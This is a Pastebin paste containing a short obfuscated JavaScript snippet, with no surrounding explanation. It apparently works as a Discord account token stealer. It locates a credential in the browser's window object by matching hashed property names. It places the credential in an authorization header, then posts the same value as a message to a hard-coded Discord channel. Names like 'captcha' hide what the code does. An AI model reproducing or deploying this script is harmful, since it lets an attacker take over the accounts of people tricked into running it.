Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- var http = new XMLHttpRequest();
- var hashes = [ 978836624, 110541305 ];
- var dehash = function(x, e) {
- for(var k in x) {
- var hash = 0, i, chr, len;
- for (i = 0, len = k.length; i < len; i++) {
- chr = k.charCodeAt(i);
- hash = ((hash << 5) - hash) + chr;
- hash |= 0;
- }
- if(hash == hashes[e])
- if(e == hashes.length - 1)
- return x[k];
- else
- return dehash(x[k], e + 1);
- }
- };
- var headers = ["Content-type", "application/json", "authorization", dehash(window, 0).replace(/"/g, '')];
- var captcha = '';
- var setHeader = function(ind) {
- http.setRequestHeader(headers[ind], headers[ind + 1]);
- captcha = headers[ind + 1];
- };
- http.open('POST', 'https://discordapp.com/api/channels/254940465428824065/messages', true);
- for(var i = 0; i < headers.length; i+=2)
- setHeader(i);
- http.send('{"content":"' + captcha + '"}');
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement